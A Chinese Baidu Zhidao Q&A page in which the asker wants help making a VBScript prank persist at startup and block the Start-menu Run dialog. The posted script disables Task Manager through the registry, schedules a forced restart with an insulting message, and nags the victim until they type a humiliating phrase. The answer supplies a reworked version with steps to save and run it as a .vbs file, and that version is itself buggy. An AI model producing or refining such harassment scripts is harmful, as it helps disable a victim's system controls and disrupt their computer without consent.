请VB高手帮我改下代码

来源：百度知道 编辑：UC知道 时间：2024/05/22 00:58:44
我想把这段代码文件加入到启动项中，并让该机不能使用开始菜单中的“运行”功能，请各位大大帮帮忙
on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快叫我是SB！，不说我是SB就一分钟关你机，不信，试试···"" ",0 ,true dim ado while(a <> "我是SB")a = inputbox ("说我是SB,就不关机，快撒，说 ""我是SB"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "奶奶的，早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,trueWSHshellA.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0

新建一个文本文档，随便你起什么名称
打开该文档，将这段代码copy进去，保存，将该文本文档改名为XXXX.vbs
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
'WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快叫我是SB！，不说我是SB就一分钟关你机，不信，试试···"" ",0 ,true
dim a
a = inputbox ("说我是SB,就不关机，快撒，说 ""我是SB"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
if a<>"我是SB" then
WSHshell.run "cmd.exe /c shutdown -r -t 30"
else
msgbox chr(13) + chr(13) + chr(13) + "奶奶的，早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,t